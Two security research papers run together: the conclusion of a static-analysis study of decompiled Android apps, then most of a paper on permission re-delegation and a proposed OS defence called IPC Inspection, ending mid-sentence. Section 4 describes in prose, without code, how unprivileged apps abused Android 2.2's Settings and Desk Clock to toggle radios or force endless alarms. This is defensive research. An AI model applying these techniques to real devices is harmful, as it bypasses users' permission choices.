“cookie-esque” tracking to account numbers. Our find-
ings also support the existence of databases external to
cellular providers that link identifiers such as the IMEI
to personally identifiable information.

Our analysis also identified significant penetration of
ad and analytic libraries, occurring in 51% of the studied
applications. While this might not be surprising for free
applications, the number of ad and analytics libraries in-
cluded per application was unexpected. One application
included as many as eight different libraries. It is unclear
why an application needs more than one advertisement
and one analytics library.

From a vulnerability perspective, we found that many
developers fail to take necessary security precautions.
For example, sensitive information is frequently writ-
ten to Android’s centralized logs, as well as occasionally
broadcast to unprotected IPC. We also identified the po-
tential for IPC injection attacks; however, no cases were
readily exploitable.

Finally, our study only characterized one edge of the
application space. While we found no evidence of tele-
phony misuse, background recording of audio or video,
or abusive network connections, one might argue that
such malicious functionality is less likely to occur in
popular applications. We focused our study on popular
applications to characterize those most frequently used.
Future studies should take samples that span application
popularity. However, even these samples may miss the
existence of truly malicious applications. Future studies
should also consider several additional attacks, including
installing new applications [43], JNI execution [34], ad-
dress book exfiltration, destruction of SDcard contents,
and phishing [20].

8 Related Work
Many tools and techniques have been designed to iden-
tify security concerns in software. Software written in
C is particularly susceptible to programming errors that
result in vulnerabilities. Ashcraft and Engler [7] use
compiler extensions to identify errors in range checks.
MOPS [11] uses model checking to scale to large
amounts of source code [42]. Java applications are in-
herently safer than C applications and avoid simple vul-
nerabilities such as buffer overflows. Ware and Fox [46]
compare eight different open source and commercially
available Java source code analysis tools, finding that
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no one tool detects all vulnerabilities. Hovemeyer and
Pugh [22] study six popular Java applications and li-
braries using FindBugs extended with additional checks.
While analysis included non-security bugs, the results
motivate a strong need for automated analysis by all de-
velopers. Livshits and Lam [28] focus on Java-based
Web applications. In the Web server environment, inputs
are easily controlled by an adversary, and left unchecked
can lead to SQL injection, cross-site scripting, HTTP re-
sponse splitting, path traversal, and command injection.
Felmetsger et al. [19] also study Java-based web applica-
tions; they advance vulnerability analysis by providing
automatic detection of application-specific logic errors.

Spyware and privacy breaching software have also
been studied. Kirda et al. [26] consider behavioral prop-
erties of BHOs and toolbars. Egele et al. [13] target
information leaks by browser-based spyware explicitly
using dynamic taint analysis. Panaorama [47] consid-
ers privacy-breaching malware in general using whole-
system, fine-grained taint tracking. Privacy Oracle [24]
uses differential black box fuzz testing to find privacy
leaks in applications.

On smartphones, TaintDroid [14] uses system-wide
dynamic taint tracking to identify privacy leaks in An-
droid applications. By using static analysis, we were able
to study a far greater number of applications (1,100 vs.
30). However, TaintDroid’s analysis confirms the exfil-
tration of information, while our static analysis only con-
firms the potential for it. Kirin [16] also uses static anal-
ysis, but focuses on permissions and other application
configuration data, whereas our study analyzes source
code. Finally, PiOS [12] performs static analysis on iOS
applications for the iPhone. The PiOS study found the
majority of analyzed applications to leak the device ID
and over half of the applications include advertisement
and analytics libraries.

9 Conclusions
Smartphones are rapidly becoming a dominant comput-
ing platform. Low barriers of entry for application de-
velopers increases the security risk for end users. In this
paper, we described the ded decompiler for Android ap-
plications and used decompiled source code to perform a
breadth study of both dangerous functionality and vul-
nerabilities. While our findings of exposure of phone
identifiers and location are consistent with previous stud-
ies, our analysis framework allows us to observe not only
the existence of dangerous functionality, but also how it
occurs within the context of the application.

Moving forward, we foresee ded and our analysis
specifications as enabling technologies that will open
new doors for application certification. However, the in-
tegration of these technologies into an application certifi-
cation process requires overcoming logistical and techni-

cal challenges. Our future work will consider these chal-
lenges, and broaden our analysis to new areas, including
application installation, malicious JNI, and phishing.
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Notes
1The undx and dex2jar tools attempt to decompile .dex files, but

were non-functional at the time of this writing.
2Note that it is sufficient to find any type-exposing instruction for

a register assignment. Any code that could result in different types for
the same register would be illegal. If this were to occur, the primitive
type would be dependent on the path taken at run time, a clear violation
of Java’s type system.

3Fortunately, these dangerous applications are now nonfunc-
tional, as the imnet.us NS entry is NS1.SUSPENDED-FOR.
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Abstract
Modern browsers and smartphone operating systems
treat applications as mutually untrusting, potentially ma-
licious principals. Applications are (1) isolated ex-
cept for explicit IPC or inter-application communica-
tion channels and (2) unprivileged by default, requir-
ing user permission for additional privileges. Although
inter-application communication supports useful collab-
oration, it also introduces the risk of permission re-
delegation. Permission re-delegation occurs when an ap-
plication with permissions performs a privileged task for
an application without permissions. This undermines the
requirement that the user approve each application’s ac-
cess to privileged devices and data. We discuss permis-
sion re-delegation and demonstrate its risk by launching
real-world attacks on Android system applications; sev-
eral of the vulnerabilities have been confirmed as bugs.

We discuss possible ways to address permission re-
delegation and present IPC Inspection, a new OS mech-
anism for defending against permission re-delegation.
IPC Inspection prevents opportunities for permission re-
delegation by reducing an application’s permissions after
it receives communication from a less privileged applica-
tion. We have implemented IPC Inspection for a browser
and Android, and we show that it prevents the attacks we
found in the Android system applications.

1 Introduction

Traditional multi-user operating systems like Windows
and Linux associate privileges with user accounts. When
a user installs an application, the application runs in the
name of the user and inherits the user’s ability to access
system resources (e.g., the camera). Browsers and smart-
phone operating systems, however, have shifted to a fun-
damentally new model where applications are treated as
potentially malicious and mutually distrusting. Princi-
pals receive few privileges by default and are isolated
from one another except for communication through ex-
plicit IPC channels. Only the user can grant individual

applications permission to use devices and access user-
private data (e.g., location) through system APIs. Conse-
quently, each application has its own set of permissions,
as granted by the user.

IPC in a system with per-application permissions leads
to the threat of permission re-delegation. Permission
re-delegation occurs when an application with a user-
controlled permission makes an API call on behalf of
a less privileged application without user involvement.
The privileged application is referred to as a deputy,
wielding authority on behalf of the user. The permis-
sion system should prevent applications from accessing
privileged system APIs without user consent, but permis-
sion re-delegation circumvents this rule. This violates
the user’s expectation of safety when interacting with
unprivileged applications. Permission re-delegation is a
special case of the confused deputy problem [23] where
authority is given by the user’s permission.

We demonstrate that permission re-delegation is a re-
alistic threat with a case study on Android applications.
Android features per-application permissions and IPC,
which are the necessary conditions for permission re-
delegation vulnerabilities in applications. More than a
third of the 872 surveyed Android applications request
permissions for sensitive resources and also expose pub-
lic interfaces; they are therefore at risk of facilitating
permission re-delegation. We find 15 permission re-
delegation vulnerabilities in 5 core system applications.

The threat of permission re-delegation is particularly
important for web browsers, which are just beginning to
add APIs that provide websites with access to devices
and geolocation [32]. Additionally, an IPC primitive
named postMessage has been widely deployed over
the past few years, facilitating interaction between appli-
cations. Although device access for web applications is
not yet widespread in 2011, permission re-delegation at-
tacks will be a concern for future web applications. Ad-
dressing the problem of permission re-delegation prior
to the full adoption of device APIs will be beneficial to
future browser security.
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We consider possible defenses against permission re-
delegation attacks and propose IPC Inspection, a new
OS mechanism that reduces a deputy’s privileges after
receiving communication from a less privileged applica-
tion. Privilege reduction reflects that a deputy is under
the influence of another application. Consequently, the
permission system can deny a privileged API call from
the deputy if any application in the chain of influence
lacks the appropriate permission(s). We implement IPC
Inspection for two different platforms: the Android oper-
ating system and ServiceOS’s browser runtime [38]. Our
Android implementation prevents all of the attacks we
discovered in our case study. We evaluate the impact of
IPC Inspection on applications and anticipate that most
applications would require few changes to work with IPC
Inspection, but some might require more permissions.

Contributions. We demonstrate that permission re-
delegation is a widespread threat in modern platforms
with per-application permissions and IPC. We also pro-
pose IPC Inspection, a new OS mechanism to defend
against permission re-delegation.

Outline. We define the problem of permission re-
delegation in Section 2. We then cast the problem in the
context of today’s web and smartphone platforms in Sec-
tion 3. We describe our experience of discovering per-
mission re-delegation vulnerabilities in Android in Sec-
tion 4. We discuss possible defenses utilizing known
techniques in Section 5 and then propose a detailed de-
sign for IPC Inspection in Section 6. We describe our
implementation experience on Android and ServiceOS
in Section 7. In Section 8, we evaluate the effectiveness
of IPC Inspection. We discuss related work in Section 9.

2 Permission Re-Delegation

Permission systems prevent applications from perform-
ing actions that are not desired by the user. We are con-
cerned with attacks on user-controlled resources, which
are the resources guarded by permissions that are granted
by the user. Devices like the camera and GPS are user-
controlled resources, as are private data stores like lists
of calendars and contacts. We do not consider attacks
on resources not controlled by user-granted permissions,
like memory or application-specific databases.

Permission re-delegation occurs when an application
with a permission performs a privileged task on behalf
of an application without that permission. This is a con-
fused deputy attack [23] or privilege escalation attack. In
this scenario, the user delegates authority to the deputy
by granting it a permission. The deputy defines a pub-
lic interface that exposes some of its functionality. A
malicious requester application lacks the permission that
the deputy has. The requester invokes the deputy’s inter-

System API

Deputy

Requester

Requester

Notify()

Send TextSend Text

Figure 1: Permission re-delegation attack. The requester does
not have the text message permission, but the deputy does. The
deputy also defines a public interface with a Notify method,
which makes an API call requesting to send a text message.
When the requester calls the deputy’s Notify method, the
system API will send the text message because the deputy has
the necessary permissions. Consequently, the attack succeeds.

face, causing the deputy to issue a system API call. The
system will approve and execute the deputy’s API call
because the deputy has the required permission. The re-
quester has succeeded in causing the execution of an API
call that it could not have directly invoked (Figure 1).

Permission re-delegation can occur in three ways.
First, an application may accidentally expose internal
functionality to other applications. Second, a “confused”
deputy might intentionally expose functionality, but an
attacker might invoke it in a surprising context [23].
Third, the developer might expose functionality with the
goal of attenuating authority but implement the attenu-
ation policy incorrectly or in a way that is inconsistent
with the system policy.

We cannot expect the deputy’s developer to “opt in”
to extra security measures or implement system policies.
The deputy is neither helpful nor harmful to system secu-
rity. Most developers are not security experts, and they
are not independently motivated to prevent permission
re-delegation because the consequences of permission
re-delegation do not affect the deputy itself.

Although the deputy is trusted with some permissions,
it is not trusted with all permissions. An application is
trusted with precisely the set of permissions approved by
the user, and the deputy and requester may have disjoint
sets of dangerous permissions. A prevention mechanism
cannot grant a deputy access to its requester’s permis-
sions unless the deputy already has the permissions.

We aim to equip the permission system with the abil-
ity to deny API requests made by a deputy on behalf
of an unprivileged requester. Such an access control
mechanism prevents the requester from executing priv-
ileged actions with side-effects or requesting sensitive
data through another application. However, we do not
address the problem of preventing a privileged applica-
tion from sharing sensitive data that it has legitimately
and independently obtained. We focus on protecting ac-
cess integrity, whereas improper data sharing is a confi-
dentiality problem. Preventing data leakage is a comple-
mentary problem beyond the scope of our work.
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3 Scenarios

We discuss permission re-delegation as it applies to web
browsers and smartphone operating systems.

3.1 Web Applications
Websites are mutually distrusting principals [37, 5, 3].
Today’s browsers isolate websites from one another un-
der the Same Origin Policy, which states that code from
one site cannot access another site’s content [33]. Tradi-
tionally, websites have also been prevented from access-
ing the user’s local resources. However, this is changing
as web applications begin to exhibit rich functionality.

Browsers are starting to offer APIs for accessing users’
local resources. For example, the HTML5 device el-
ement [24] provides web applications with access to
streaming audio and video data. The W3C Device APIs
and Policy Working Group [35] is designing interfaces
for contacts, calendars, messaging, cameras, and more.
New versions of Firefox, Google Chrome, and Safari
support preliminary versions of the HTML5 geolocation
API [32]. Access to these APIs will be controlled by
permissions that users grant to website origins.

Web permission re-delegation can occur in two ways:

1. New windows. In this scenario, a user unknow-
ingly navigates to a malicious website. The ma-
licious website opens a website with a permission
in a new window. If the deputy website makes a
privileged API call upon loading, then the malicious
website has successfully mounted a permission re-
delegation attack. This attack can be completely in-
visible to the user if the malicious requester loads
the deputy in an invisible child frame; alternately, it
can be hidden by opening the deputy as a pop-under
window beneath the active browser window.

2. Messages. As in the previous scenario, a user un-
knowingly navigates to a malicious website. The
malicious website sends a message to a deputy
website that offers services to other websites via
postMessage, an asynchronous client-side mes-
sage passing channel. Requesters can send mes-
sages to new child frames or existing windows that
are navigationally connected to the requester [25].

Figure 2: Safari 5 requests the user’s permission before grant-
ing a website access to geolocation.

For example, consider a user who permanently grants a
website the ability to record live video of the user for
the purpose of streaming the video to a known web ad-
dress (like Qik). The video website automatically begins
simultaneously recording and streaming as soon as it is
loaded. Later, the user visits a malicious website that
loads the video website in an invisible child frame; as a
result, the browser begins recording streaming live video
without the user’s knowledge.

Major browser vendors have recognized the problem
of permission re-delegation. Mozilla Firefox, Safari, and
Google Chrome implemented the geolocation permis-
sion with restrictions on child iframes. When a web-
site is opened as a child iframe, it has no geolocation
permission; the user is prompted for approval, even if
the user has previously granted the website the geoloca-
tion permission. This prevents permission re-delegation
attacks using iframes, but does not prevent permission
re-delegation attacks on top-level windows or attacks be-
tween two iframes embedded in the same page. We also
want to extend the defense mechanism beyond geoloca-
tion to all future permission-controlled browser APIs.

3.2 Smartphone Applications
Smartphone platforms like iOS, Android, and Windows
Phone 7 support third-party application markets. The
markets have a low cost of entry, and not all of the devel-
opers are equally trustworthy. Consequently, smartphone
operating systems treat applications as potentially mali-
cious. Smartphone operating systems also provide APIs
to phone devices (Bluetooth, camera, GPS, etc.) and the
network. Upon user approval, smartphone operating sys-
tems grant per-application access to these resources.

This paper focuses on Android, although our work ap-
plies to other smartphone operating systems with user-
controlled application permissions and IPC. Android
permissions are categorized into 3 security levels: Nor-
mal, Dangerous, and Signature.1 Normal permissions
protect API calls that could annoy but not harm the user
(e.g., SET WALLPAPER); these do not require user ap-
proval. Dangerous permissions let an application per-
form harmful actions (e.g., RECORD AUDIO). Signature
permissions regulate access to extremely dangerous priv-
ileges, e.g., CLEAR APP USER DATA. Malware with
Dangerous or Signature permissions can spy on users,
delete data, and abuse their billing accounts [7, 27, 34].

Android applications may communicate with each
other, which introduces opportunities for permission re-
delegation. Inter-process messages known as Intents are
used for communication. Applications can make four
types of components publicly available:

1We group SignatureOrSystem and Signature permissions together
since there is no significant distinction between the two categories.
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Figure 3: Android displays permissions for user approval dur-
ing the installation of an application from the Android Market.

• Services run in the background. They can be started
with Intents or “bound” for synchronous calls.

• Activities provide applications with user interfaces.
They can be started with Intents. An Activity can
optionally provide a return value that is delivered
when the user finishes interacting with the Activity.

• BroadcastReceivers handle broadcast Intents. They
run in the background. Sometimes they invoke a
Service or an Activity to handle the task.

• ContentProviders are local databases.

Services and BroadcastReceivers are inviting targets for
stealthy permission re-delegation attacks because they
may not have a visible user interface. A developer can
restrict access to a component by specifying in the man-
ifest that requesters must have a given permission or dy-
namically checking the caller’s identity at runtime.

3.3 Granting Permissions
Current permission systems ask users to grant permis-
sions in one of two ways:

Time-of-Use. In a time-of-use permission system, users
are prompted to approve or deny permission for a re-
source when a privileged API call is made. Web browsers
and Apple iOS use this type of permission for third-party
applications. The permission may be granted perma-
nently, for a period of time, or for a single use. Figure 2
provides an illustration of Safari 5 asking a user to grant
a time-of-use permission.

Install-Time. In a system with install-time permissions,
an application declares its permission requirements in a
manifest file. The user is prompted to approve the per-
missions during the installation process, and the appli-
cation is only installed if the user grants permanent per-
missions to the requested resources. In a strict install-
time permission system, new permissions cannot be re-
quested during runtime. Android and Windows Phone 7
use install-time permissions. Figure 3 shows an example
of an Android installation permission prompt.

Public Service Public Receiver
Dangerous permissions 84 269
Signature permissions 13 34

Figure 4: We surveyed 872 Android applications and identified
ones with both public components and notable permissions.

4 Case Study: Attacks on Android

We perform a case study on Android applications to
demonstrate that permission re-delegation is a real-world
concern. We find that many applications are at risk of
containing a vulnerability, and we build example attacks
using core system applications.

4.1 At-Risk Applications
An application is at risk of containing a permission re-
delegation vulnerability if it both requests permissions
and exposes a public interface. In particular, we are
interested in stealthy attacks that can be conducted in
the background. We examine a set of 872 applications,
which is composed of the 16 core system applications
that come pre-installed with Android 2.2, the 756 most
popular free applications from the Android Market, and
the 100 most popular paid Market applications.

For each application, we parse its manifest to find
its list of permissions, public Services, and public Re-
ceivers. Services always run in the background, and
Receivers might run in the background. By evaluating
whether an application has both permissions and a Ser-
vice/Receiver, we can identify at-risk applications. We
discard public components that are protected by permis-
sions in the manifest, as they may not be at risk.

It is also possible for an application to perform a dy-
namic check on its caller’s permissions, which would not
be reflected in our manifest analysis. 9% of all appli-
cations in our set perform dynamic permission checks;
however, the permission checks are not often used to
prevent external use of Services or Receivers. (They are
typically used to protect Providers, which we do not con-
sider, or by embedded advertising libraries to determine
what operations they can perform.) We examined a set
of 50 randomly selected applications with public compo-
nents and found that only 1 application does so to protect
a Receiver or Service.

Figure 4 shows the highest-level permission of an ap-
plication, and whether it also has an unprotected public
component. Overall, 320 of the 872 applications (37%)
have permissions and at least one type of public compo-
nent. 11 of the 16 system applications are at risk.
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4.2 Vulnerabilities
We examine the at-risk system applications to identify
stealthy permission re-delegation vulnerabilities. An ap-
plication contains a vulnerability if there exists an ex-
ploitable path in the application between a public entry
point and a restricted system API call. We construct at-
tacks using 15 vulnerabilities in 5 applications. These
vulnerabilities are present on every Android 2.2 phone.

Finding Attacks. To find vulnerabilities, we created a
path-finding tool. We first disassemble the at-risk system
applications using Dedexer [31]. Our tool then parses
the disassembled applications to find method declara-
tions and invocations; from the results, we build the call
graphs of the applications. Searching the call graphs re-
veals paths from public entry points to protected system
API calls. This tool likely misses viable attack paths; our
call graph analysis does not handle inheritance relation-
ships or detect flow through structures like callbacks. We
also were only able to look for attacks on a subset of the
API due to incomplete documentation.

We identify valid attacks by building test cases for the
paths produced by our path-finding tool. We only con-
sider attacks on API calls with verifiable side effects, so
that we can tell if an attack succeeds. We are also only
able to look for attacks on a subset of the API because
Android permission documentation is incomplete.

Results. We built attacks using 5 of the 16 system ap-
plications. All of the attacks succeed in the background
with no visible indication to the user. These 5 applica-
tions provide 15 paths to 13 interfaces with permissions,
one of which is SignatureOrSystem and nine of which
are Dangerous. We present two example permission re-
delegation attacks:

Settings serves as the phone’s primary control panel.
When a user presses certain buttons, Settings’ user in-
terface sends a message to a Settings BroadcastReceiver
that turns WiFi, Bluetooth, and GPS location track-
ing on or off. However, Settings’ BroadcastReceiver
accepts Intents from any application. An unprivi-
leged application can therefore ask the Settings ap-
plication to toggle the state of devices by sending
its BroadcastReceiver the same Intents that it ex-
pects from its user interface. Turning these devices
on or off is supposed to require Dangerous permis-
sions (CHANGE WIFI STATE, BLUETOOTH ADMIN,
and ACCESS FINE LOCATION, respectively).

Desk Clock provides time and alarm functionality. One
of its public Services accepts directions for playing
alarms. If an unprivileged application sends an Intent re-
questing an alarm with no end time, then Desk Clock will
indefinitely vibrate the phone, play an alarm, and prevent
the phone from sleeping. The alarm will continue un-

til the user kills the Desk Clock process. Playing sound
with a wake lock requires the Dangerous WAKE LOCK
permission, and vibrating the phone requires the Normal
VIBRATE permission.

We found concrete vulnerabilities in 5 of the 16 appli-
cations, which amounts to half of the 11 system appli-
cations that we identified as at-risk. It is likely that the
other at-risk system applications also contain vulnerabil-
ities that we did not uncover. (Our call graph tool is lim-
ited, as discussed above.) We have notified the Android
team; several of the vulnerabilities have been confirmed
and fixed [16, 15, 17, 18].

5 Defense Discussion

We present our requirements for a permission re-
delegation defense mechanism and consider whether ex-
isting techniques can satisfy these goals.

5.1 Goals
Our goals for a successful permission re-delegation de-
fense mechanism are:

1. Preventing permission re-delegation: Applications
should not be able to re-delegate permissions for
user-controlled resources.

2. Runtime independence: We want the solution to be
language- and runtime-independent. This is advan-
tageous because many platforms support applica-
tions that are written in different programming lan-
guages and run on different runtimes.

3. Developer independence: Given evidence that de-
velopers are unmotivated to proactively prevent per-
mission re-delegation (Section 4.2), a solution can-
not rely on developer diligence for security.

4. Ease of development: The mechanism should not
impose an excessive burden on developers; applica-
tions should retain their functionality.

5. Dynamic: The defense mechanism must work at
runtime and not depend on application analysis.
Client-side application analysis is not feasible for
web applications because website code can change
and encompass arbitrarily many documents.

Our focus is on controlling access to resources; it is
not our goal to protect data privacy. We wish to prevent a
privileged piece of data from being accessed, but we do
not aim to prevent it from being shared once it has been
accessed. Protecting data privacy can be achieved with
complementary solutions like TaintDroid [12].
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5.2 Potential Defenses

Capabilities. A capability is an unforgeable, shareable
token that, when used, grants access to a privilege [23].
To prevent permission re-delegation, a deputy could ask
its requester to provide a capability and use it to make
system API calls. However, this approach does not meet
our goal of developer independence; a poorly written
deputy could use its own capabilities rather than its re-
quester’s when making system API calls.

Alternately, a system could control access to privi-
leges by requiring approval before granting an applica-
tion the ability to communicate with a deputy. This
would require static analysis of the deputies installed on
the client to understand what user-relevant privileges the
communication would involve. Following the example
in Figure 1, an application that wants to use the “Notify”
deputy would need to be authorized to use the underlying
“Send Text” authority. Static capability provisioning is a
topic for further exploration, but it can only be applied to
platforms where static analysis of deputies is possible.

Taint Tracking. In a taint tracking-based solution, the
requester’s data could be the source of taint, and the taint
could propagate as the requester’s data interacts with the
deputy. If a deputy makes a privileged API call and the
call is tainted, then the system could become aware that
permission re-delegation has occurred. Unfortunately,
tracking both data flow and control flow in a runtime-
independent manner incurs more than an order of mag-
nitude of performance overhead [14]. Furthermore, taint
tracking both data and control flow would likely lead to
taint explosion. Taint explosion would make the system
unnecessarily restrictive. A taint tracking-based solution
would need to track both direct and indirect taint flows
because not all permission re-delegation attacks are data-
dependent. For example, not all API calls require param-
eters, and some applications process IPC calls without
reading the actual message.

MAC. Mandatory access control (MAC) systems (e.g.,
[9, 20]) are centralized information flow control systems
where the operating system enforces a fixed information
flow control policy across integrity or confidentiality lev-
els. Such systems mandate that no information can flow
from low-integrity principals to high-integrity principals
or from high-confidentiality to low-confidentiality prin-
cipals. Our goal of preventing permission re-delegation
can be cast as MAC to some extent: a permission set
could be treated as an integrity label, and A would have a
lower integrity level than B if A has a permission that B
does not. We are then concerned about safe information
flow with respect to access to user-controlled resources.

However, Android applications cannot be strictly or-
dered because applications often do not fit the subset re-

lationship. When this happens, neither the deputy nor
the requester has a strictly higher integrity level. This
presents an application functionality problem: when a
requester initiates communication with a deputy, the re-
quester cannot receive the response if it has a permission
that the deputy lacks. Since Android applications com-
monly have intersecting but non-subset permission sets,
this represents a significant functionality problem. Sec-
tion 8.2 describes examples of applications for which this
would be prohibitively restrictive.

Stack Inspection. Stack inspection [19, 36] is used in
Java Virtual Machines and the Common Language Run-
time to prevent confused deputy attacks within a runtime.
When a deputy makes a privileged API call, the system
checks whether the call stack includes any unprivileged
applications. Principals in the permission re-delegation
threat model operate in separate runtimes; to adapt to
this scenario, the runtime could annotate the bottom of
the stack with the requester’s identity when delivering a
message event or starting the application.

Standard stack inspection has several shortcomings.
First, the approach is dependent on the runtime for
correctness and would need to be re-implemented re-
peatedly for a system with multiple types of runtimes.
Second, stack inspection cannot prevent permission re-
delegation when the deputy’s API call is de-synchronized
from the request because the requester does not appear
on the call stack. For example, JavaScript is event-driven
after the initial document loads, and each event has a dif-
ferent stack; and Android applications often make inter-
nal IPC calls (each of which resets the stack) in order to
complete a single operation.

HBAC. History-based access control (HBAC) reduces
the permissions of trusted code after any interaction with
untrusted code [1]. Like stack inspection, HBAC relies
on runtime mechanisms and does not achieve our goal of
runtime independence. Like MAC, HBAC performs per-
mission reduction upon receipt of return values, which
places constraints on application functionality.

6 IPC Inspection

We build upon existing techniques to propose a new de-
fense for permission re-delegation. We track information
flow through inter-application messages, but not within
an application. Our solution is similar to stack inspec-
tion or HBAC, but modified to address their limitations.
Like HBAC, we perform privilege reduction following
communication, but we apply our mechanism at the OS
level rather than as part of a runtime.
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6.1 Our Design
We propose IPC Inspection. When an application re-
ceives a message from another application, we reduce
the privileges of the recipient to the intersection of the
recipient’s and requester’s permissions. We consider an
application to be acting as a deputy on behalf of a re-
quester once it has received communication from the re-
quester. The deputy’s current set of permissions captures
the communication history of the deputy and other appli-
cations. Privilege reduction does not remove privileges
that are not controlled by the user.

IPC Inspection carries the same semantics as stack in-
spection, but we generalize method invocations to IPC
calls and externalize intra-application asynchronies like
message queues. IPC Inspection is also runtime- and
language-independent.

Basic Rules. IPC Inspection is comprised of three pri-
mary mechanisms. First, we maintain a list of current
permissions for each application. Second, we build priv-
ilege reduction into the system’s inter-application com-
munication mechanisms. Starting an application and
sending an explicit message both count as IPC. Third,
we allow a receiving application to accept or reject mes-
sages. Applications can limit who they receive messages
from by registering a list of acceptable requesters. De-
pending on the platform, acceptable requesters can be
identified individually (e.g., by domain) or based on their
set of permissions (i.e., any application with permission
Y ). This prevents privilege reduction from being abused
as a denial of service mechanism.

More precisely, we define four basic rules to govern
access rights and privilege reduction. We write A → B
to indicate that application A sends a message to applica-
tion B, and let P t(A) denote the set of permissions held
by application A at time t. The rules follow:

1. Initial state: P 0(A) = POriginal(A). When an ap-
plication starts running, it begins with the permis-
sions that were granted by the user.

2. Privilege reduction for recipient: If R → D at time
t, then P t(D) = P t−1(D) ∩ P t−1(R). When an
application receives a message, its permissions are
reduced to the intersection of its and the sender’s
current permissions.

3. Sender’s permissions remain unchanged: If R → D
at time t, then P t(R) = P t−1(R).

Several properties of privilege reduction follow from
the access rights rules:

• Transitivity. An application’s current permissions
reflect the permissions of all of the applications in
a chain of communication. If R1 → R2 at time
t, and R2 → D at time t + 1, then P t+1(D) =
P t−1(R1) ∩ P t−1(R2) ∩ P t(D).

• Additivity. If an application receives messages
from multiple applications, then its permissions
will be repeatedly reduced. P t(D) = P 0(D) ∩
⋂t−1

i=1 P
i(Ri), where Ri → D for each time i.

• Bounds. An application’s current permissions can
never exceed its original permissions (i.e., P i(A) ⊆
P 0(A), ∀i); there is no mechanism for increasing
permissions.

Privilege reduction requires the platform to compute
the intersection of two permissions, and this intersection
function will differ by permission scheme. For example,
permissions can be hierarchical, temporal, or monetary
(as in $5 for text messages). When calculating the inter-
section, the lesser value needs to be taken: the permission
lower in the hierarchy, the lower monetary limit, or the
shorter temporal permission.

Non-Simplex IPC. The basic rules apply to simplex (uni-
directional) communication. Simplex communication
implies a clear relationship: the requester sends a mes-
sage or starts an application, and the deputy acts. How-
ever, an operating system can offer other communication
mechanisms. With request-reply IPC, the recipient of a
message returns a value. For example, an Android Ac-
tivity may return a result upon completion. The roles
of deputy and requester remain clear with request-reply
IPC, so IPC Inspection does not reduce the requester’s
permissions when it delivers a reply. In contrast, duplex
communication is a stream of data that flows between
two applications (e.g., TCP sockets). Both applications
can act as a deputy or requester during duplex IPC, so
IPC Inspection reduces the privileges of both. Applica-
tions can implement alternate protocols atop these three
primitives, but the OS will not be aware of them.

IPC Inspection is similar in spirit to Mandatory Access
Control, but IPC Inspection is less strict because it does
not enforce privilege reduction in both directions after
request-reply communication. This decision is in the in-
terest of application functionality: highly-privileged re-
questers would be unable to accept responses from less-
privileged deputies without risking loss of privilege. Al-
though there is a chance that a permission re-delegation
attack could stem from the receipt of a return value, it is
not a common case. Section 8.2 describes examples of
applications that would not be able to function if return
values prompted privilege reduction.

HBAC also reduces privileges based on return values
but attempts to preserve application functionality by pro-
viding authors with explicit rights restoration. In HBAC,
an application can validate a return value and then re-
quest to have its removed privileges reinstated. Although
rights restoration solves the functionality problem, it re-
lies upon developers correctly and non-spuriously restor-
ing their permissions. Developers could abuse this mech-
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anism by restoring permissions in every permission fail-
ure exception handler. Therefore, we choose not to sup-
port explicit rights restoration in IPC Inspection.

Application Instances. Deputies may need to simulta-
neously interact with the user and multiple requesters.
For example, the user might be interacting with an appli-
cation when it receives a message from a less-privileged
requester; the ensuing privilege reduction caused by the
requester would interfere with the user’s experience. To
prevent privilege reduction from impeding application
functionality, we create new application instances to han-
dle messages. All applications have a primary instance,
which is the instance of the application that the user in-
teracts with. When a requester asks the system to send
a message to the deputy, the system automatically starts
a new instance of the application. Multiple instances of
the same application will run concurrently, in their own
isolation units with their own current permissions.

As a performance optimization for install-time permis-
sion systems, it is not always necessary to create a new
instance. The primary instance can be used for requests
that do not prompt privilege reduction. In an install-time
permission system, we know that privilege reduction is
not necessary if the deputy already lacks permissions or
the requester has a superset of the deputy’s permissions.
Instance reuse is not possible with time-of-use permis-
sion systems because the deputy could dynamically re-
quest more permissions; it would not be clear which re-
quester is responsible for the permission prompt.

Some applications cannot exist in duplicate. Long-
running background processes may have state that cannot
be multiply instantiated. For this purpose, the system can
let applications request to be singletons. All communi-
cation events will be dispatched to the same instance for
a singleton application, and a singleton application’s per-
missions will be repeatedly reduced upon the delivery of
each communication event until the application exits.

Our altered version of Android automatically creates
a new instance for every communication event unless a
deputy asks to be a singleton; our browser implemen-
tation creates a new instance whenever a requester pro-
grammatically opens a new window, but not when mes-
sages are sent to an existing window. The singleton de-
sign pattern does not make sense from a web application
perspective because websites already expect to be simul-
taneously open in multiple windows in the same browser.

Circumvention. A malicious deputy could circumvent
the IPC Inspection rules: a developer could place in-
formation about a request in storage and then perform
the request later when the deputy regains full privileges.
This does not violate any of our goals. We are not con-
cerned with deputies maliciously sharing permissions;
after all, a malicious deputy could directly abuse its

permissions. Instead, we are concerned about benign
deputies thoughtlessly or accidentally giving away privi-
leges to other applications. We expect that the pattern of
saving requests in storage would be rare in practice.

Permission re-delegation attacks could be mounted us-
ing return values from request-reply IPC. In this attack,
a privileged application sends a message to an unprivi-
leged application. The unprivileged application returns
a malicious value, which causes the privileged applica-
tion to perform a malicious action. We do not defend
against this attack in the interest of application function-
ality. Our policy of disregarding return values is similar
to the policy enforced by stack inspection.

6.2 Platform Proposals

We discuss the impact of IPC Inspection rules on permis-
sions and communication, and we present proposals for
how systems could add extra support for IPC Inspection.

Permission Requests. IPC Inspection changes how
users and developers interact with permissions. The im-
pact of IPC Inspection depends on whether the system
uses time-of-use permissions or install-time permissions.
Time-of-use permission systems are the simpler case:
in a time-of-use permission system like the browser,
the user could be prompted whenever permission re-
delegation is detected. For example, “Allow R and D to
send text messages?” If the user answers affirmatively,
the API call completes. As such, time-of-use permis-
sion systems can accommodate IPC Inspection without
changes to the developer experience.

The relationship between IPC Inspection and install-
time permission systems (e.g., Android) is more com-
plex. If IPC Inspection is used with a pure install-time
permission system, then an application’s developer must
request all of the permissions used by the deputies that
the application interacts with. First, this might be hard to
determine. Second, this could lead to permission bloat: a
requester must have all of the permissions needed by its
deputy or deputies, even if the requester never individu-
ally uses the permissions. To prevent this, we propose the
relaxation of install-time permission requirements when
IPC Inspection is applied to a platform. If permission
re-delegation is detected, the platform could prompt the
user to grant the requester temporary access to the priv-
ilege via the deputy. If granted, the deputy’s permission
would be restored. This would prevent requester applica-
tions from needing to request permissions that they will
not use independently from deputies. This change would
require usability studies to determine whether it effects
user understanding of permissions.
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Request-Reply for the Web. Today’s websites ex-
change messages using postMessage, a simplex com-
munication primitive. Websites that wish to use request-
reply semantics must construct the necessary support on
top of postMessage; e.g., such support is built into
the popular jQuery library. Unfortunately, the browser
is unaware of such application-level semantics and must
